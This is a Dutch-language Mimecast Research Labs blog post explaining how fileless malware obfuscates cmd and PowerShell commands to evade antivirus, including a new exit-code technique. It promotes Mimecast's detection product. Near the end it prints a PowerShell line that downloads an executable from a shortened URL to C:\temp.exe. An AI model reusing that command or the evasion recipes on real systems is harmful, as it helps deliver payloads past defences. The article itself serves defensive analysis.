Onleesbare bestandsloze malware in de gereedschapskisten van cyberaanvallers
De nieuwste van Mimecast Research Labs bevat een malwaretechniek die nog nooit eerder is waargenomen.
Inleiding
Bestandsloze malware is een steeds populairdere techniek onder cyberaanvallers geworden omdat het de verdediger minder mogelijkheden biedt om kwaadaardige activiteiten te detecteren. Traditioneel vertrouwen cyberaanvallers op verduisteringstechnieken om hun kwaadaardige activiteiten te verbergen en zo lang mogelijk onopgemerkt te blijven, maar met anti-verduisteringstools - meestal gebaseerd op heuristiek, activiteitenmonitoring en handtekeningen - kunnen hun verborgen activiteiten worden ontdekt en aanvallers worden gedwarsboomd. Bij bestandsloze aanvallen wordt er niets naar de schijf geschreven, zodat het voor verdedigers moeilijker is om iets te vinden.
Fileless-aanvallen kunnen ook omzeilen whitelisting, die alleen vooraf goedgekeurde toepassingen toestaat uit te voeren, omdat ze vertrouwen op ingebouwde functies en reeds geautoriseerde toepassingen die al zijn geïnstalleerd. Aangezien IT-technici en netwerkbeheerders dagelijks gebruikmaken van tools als Command Prompt (cmd), Powershell en Windows Management Instrumentation (WMI), is het opsporen van malware die is ontworpen om deze te misbruiken een enorme uitdaging. Security operations teams kunnen deze tools niet blokkeren, omdat ze nodig zijn om de applicaties van de organisatie te laten werken. In bijna alle gevallen zijn er geen alternatieven.
Bestandsloze malware is ook gemakkelijker te maken, en kan in meerdere omgevingen en besturingssystemen draaien zonder veranderingen, of met slechts kleine veranderingen. Hierdoor is het voor aanvallers goedkoop en betrouwbaar gereedschap om te ontwikkelen en te gebruiken. Er zijn veel toolkits en projecten die door cyberaanvallers kunnen worden gebruikt in strijd met de voorwaarden of bedoelingen van hun makers, zoals Empire , PowerSploit , en zelfs Metasploit , die aanvallers helpen nieuwe veerkrachtige malware te maken die antivirus kan omzeilen, het doelsysteem kan exploiteren en gegevens kan exfiltreren, meestal met één of twee klikken.
Mis het laatste onderzoek van het Mimecast Research Labs team niet. Abonneer u vandaag nog op Cyber Resilience Insights .
Een voorbeeld van een bestandsloze malware-aanval is MuddyWater APT, dat verschillende verduisteringstechnieken in meerdere lagen gebruikt om zijn kwaadaardige activiteiten te verhullen. Voor het eerst gerapporteerd in 2017 , MuddyWater richtte zich op overheden in Irak, Saudi-Arabië, het Midden-Oosten, Europa en de VS, en de aanvallen zijn nog steeds in het wild te vinden. MuddyWater-campagnes richten zich nog elke dag op overheden en organisaties, maar de hackers erachter zijn noch de eerste noch de laatste die de bestandsloze malwarestrategie hanteren.
In dit bericht beschrijft Mimecast Research Labs bestandsloze aanvallen en de verduisteringstechnieken die aanvallers gebruiken om het voor anti-virus (AV) en andere beveiligingshulpmiddelen moeilijk te maken om bestandsloze malware te detecteren. Het bericht bevat voorbeelden van elementaire en geavanceerde technieken die in echte aanvallen zijn gebruikt, inclusief de beschrijving van een nieuwe techniek die nog niet eerder is waargenomen en hoe Mimecast Targeted Threat Protection kan helpen deze technieken tegen te gaan.
Gebruikelijke verdoezelingstechnieken om AV te omzeilen
Bestandsloze malware kan worden gebruikt als de primaire aanvalsmethode of als een first-touch stager die andere payloads downloadt en uitvoert vanaf externe bronnen. Om hun doelen te bereiken, maken bestandsloze malware gebruik van verschillende soorten versluieringstechnieken om AV te omzeilen. Deze technieken zijn gebruikt door allerlei soorten aanvallers, van amateurs tot goed georganiseerde groepen van natiestaten. De mate van versluiering, variërend van eenvoudig tot geavanceerd, beïnvloedt hoe vaak de malware door AV wordt gedetecteerd.
MuddyWater infecteert bijvoorbeeld machines van slachtoffers door hun vervalste Microsoft Word-documenten te sturen die kwaadaardige macro's bevatten. De macro's voeren versluierde VBscript-code uit om ingebouwde tools van Microsoft Windows te starten, zoals mhta.exe, WScript of WMI, om versluierde Powershell-code te downloaden en uit te voeren. De one-liner code decodeert een gecodeerde payload en voert deze uit op de gecompromitteerde machine. De meerdere lagen van versluiering verbergt de kwaadaardige capaciteiten van het document en omzeilt AV-detectie.
Character insertion obfuscations: Een manier om kwaadaardige strings en commando's te versluieren is door gebruik te maken van character insertion technieken, waarbij speciale tekens worden toegevoegd die zijn ontworpen om bekende gedetecteerde commando's complexer te maken. Dit soort versluiering breekt belangrijke strings af, zodat het voor statische verdedigings- en handtekeninggebaseerde producten moeilijker wordt om kwaadaardige commando's te ontleden.
Een voorbeeld van tekenverduistering is het gebruik van speciale tekens, zoals komma's (,) en puntkomma's (;), die dienen als spaties die bijna overal in een commandoregel als argument mogen worden gebruikt. Zoals hieronder te zien is, worden beide tekens vaak samen en afzonderlijk gebruikt:
Haakjes gebruiken voor vertroebeling: Een andere vertroebelingstechniek die vaak in het wild wordt gezien is het gebruik van onnodige haakjes, die kunnen worden gebruikt om uitdrukkingen te groeperen of commando's over meerdere regels te verdelen en code leesbaarder te maken. Variabelen worden geëvalueerd voor het codeblok net alsof het commando een enkele regel is. Aanvallers gebruiken deze techniek om commando's in verschillende vormen verder te versluieren. Bijvoorbeeld:
Caret gebruiken voor escape-gebaseerde verduistering: Een derde veelgebruikte verduisteringstechniek maakt gebruik van het speciale karakter Caret (^), dat een gereserveerd karakter is dat door shells wordt gebruikt voor escaping. Het Caret teken wordt meestal als een enkel speciaal teken in een commando ingevoegd of gekoppeld aan een ander speciaal teken dat een dubbele escape veroorzaakt tijdens de uitvoering, zoals in het volgende voorbeeld:
Na het ontsnappen aan het Caret teken van de eerste laag, kan echter ook aan de tweede laag worden ontsnapt:
Tenslotte zal het ontsnapte commando een "powershell.exe" commando uitvoeren met een argument:
Gebruik van dubbele aanhalingstekens: Een andere basistechniek omsluit dubbele aanhalingstekens (") in een opdracht. Uitgebalanceerde dubbele aanhalingstekens die in een commandoregelargument worden ingevoegd hebben geen invloed op de uitvoering van het commando; de commandoregelparser gebruikt het dubbele aanhalingsteken echter als scheidingsteken tussen argumenten. Daarom kunnen dubbele aanhalingstekens kwaadwillig worden gebruikt voor het aaneenschakelen van een argument. Bijvoorbeeld:
Geavanceerde verdoezelingstechnieken om onopgemerkt te blijven
Aanvallers kunnen ook de omgeving van hun slachtoffers tegen hen gebruiken om malware dynamisch te versluieren, maar de code verborgen te houden tot hij wordt uitgevoerd. Deze techniek maakt de detectie van dergelijke malware veel moeilijker, waardoor hackers een grotere kans hebben om het kat-en-muisspel te winnen.
Aangepaste omgevingsvariabelen gebruiken: Eén methode is het gebruik van omgevingsvariabelen, dynamische objecten waarin bewerkbare waarden worden opgeslagen die door Windows-softwareprogramma's kunnen worden gebruikt. Omgevingsvariabelen versluieren de opdrachtregel en splitsen deze op in verschillende tekens en tekenreeksen. Een eenvoudige manier om een omgevingsvariabele te gebruiken is door een aangepaste te maken en de waarden dynamisch in te stellen. Deze waarde kan dan worden gebruikt voor het uitvoeren van kwaadaardige commando's:
Het genoemde commando zal "powershell.exe" uitvoeren.
Gebruik van vooraf toegewezen omgevingsvariabelen: Een andere techniek voor het gebruik van omgevingsvariabelen is het verkrijgen van specifieke tekens uit vooraf toegewezen Windows-omgevingsvariabelen. Naar deze tekens wordt verwezen met hun index en ze worden later gebruikt voor kwaadaardige doeleinden. Het volgende is een illustratie van dit idee:
"%CommonProgramFiles%" is een standaard omgevingsvariabele in een Windows-besturingssysteem. Deze variabele is standaard vooraf toegewezen met de waarde van: "C:ProgrammaBestandenGemeenschappelijke Bestanden". Deze waarde kan worden gebruikt met indexering om een specifieke char op te halen en te gebruiken in run commando's:
De hierboven getoonde indexering haalt een enkel karakter op, beginnend bij index 3 van "%CommonProgramFiles%". Deze actie resulteert in een enkel teken "P" dat later wordt samengevoegd met "owerShell.exe" om "powershell.exe" te krijgen en een resultaat, dat vervolgens wordt aangeroepen.
De "cmd.exe" kan ook worden vervangen door "%ComSpec%", een vooraf toegewezen omgevingsvariabele die standaard het absolute pad van "cmd.exe" opslaat.

Speciale techniek gevonden in onze labs: Tenslotte zullen we een speciale techniek behandelen die ontdekt werd door het Mimecast Research Labs team. Deze techniek wijzigt de hostomgeving zonder een "set" commando te gebruiken. In plaats daarvan vertrouwt het op een "exit" commando met aangepaste exit code en gebruikt later het executieresultaat om een ASCII char representatie te krijgen, die wordt gewijzigd in de "%ExitCodeAscii%" omgevingsvariabele. Deze ASCII char wordt gebruikt om een commando te laten uitvoeren.
Om de juiste waarde van "%ExitCodeAscii%" te krijgen moet het "exit" commando worden uitgevoerd. Als gevolg daarvan zal het proces dat het uitvoert worden beëindigd. Om dit obstakel te omzeilen, kan de hacker "cmd.exe" in een paar lagen gebruiken en misbruiken om het gewenste teken te krijgen:
In dit voorbeeld voert de buitenste cmd twee andere cmd instanties uit, na elkaar. De eerste voert een commando "exit 80" uit en eindigt. Als gevolg hiervan wordt de bovenliggende omgevingsvariabele "%ExitCodeAscii%" bijgewerkt naar een ASCII-weergave van het getal 80, dat eigenlijk het teken "P" is. Deze "P"-waarde wordt later gebruikt door de tweede cmd-instantie, die de aaneenschakeling van "P" en de "owershell" uitvoert, waardoor "Powershell.exe" wordt uitgevoerd.
Om het algemene gebrek aan kennis rond versluierde virusaanvallen te benadrukken, zie de bijgevoegde schermafbeelding van het detectiepercentage van "Virustotal" van een bestand dat het commando uitvoert, vergeleken met dat van een commando dat is versluierd:
"C:Windows:system32cmd.exe /c powershell -bypass Invoke-Expression (New-Object System.Net.WebClient).DownloadFile("https://su.pr/7rnRZ6","C:\temp.exe")"
Nawoord
Aanvallers investeren veel tijd en moeite om hun gewetenloze activiteiten te verbergen, en bestandsloze malware wordt steeds vaker gebruikt bij deze operaties. Om onopgemerkt te blijven en AV te omzeilen, gebruiken criminelen meestal versluieringstechnieken om detectie zo moeilijk mogelijk te maken.
Mimecast Targeted Threat Protection is ontworpen om het gebruik van deze techniek te detecteren en te blokkeren, door gebruik te maken van geavanceerde deep parsing en de-obfuscation, na real time code-analyse van elk geanalyseerd bestand.
Hoewel dit rapport de risico's laat zien die verbonden zijn aan steeds veranderende malware die tools probeert te ondermijnen die mogelijk al in uw omgeving aanwezig zijn, bestaat de kans dat u dit soort aanvallen na verloop van tijd ontdekt, omdat informatie wordt gedeeld tussen verschillende beveiligingsexperts en platforms. De vraag is dan ook duidelijk: is die vertraging aanvaardbaar voor uw organisatie, aangezien het om seconden gaat wanneer aanvallers het op uw onderneming gemunt hebben? De mogelijkheden van Mimecast zijn ontworpen om de bedreigingen van morgen vandaag al te voorkomen.
Abonneer u op Cyber Resilience Insights voor meer artikelen zoals deze
Ontvang al het laatste nieuws en analyses over de cyberbeveiligingsindustrie rechtstreeks in uw inbox
Succesvol aanmelden
Dank u voor uw inschrijving om updates van onze blog te ontvangen
We houden contact!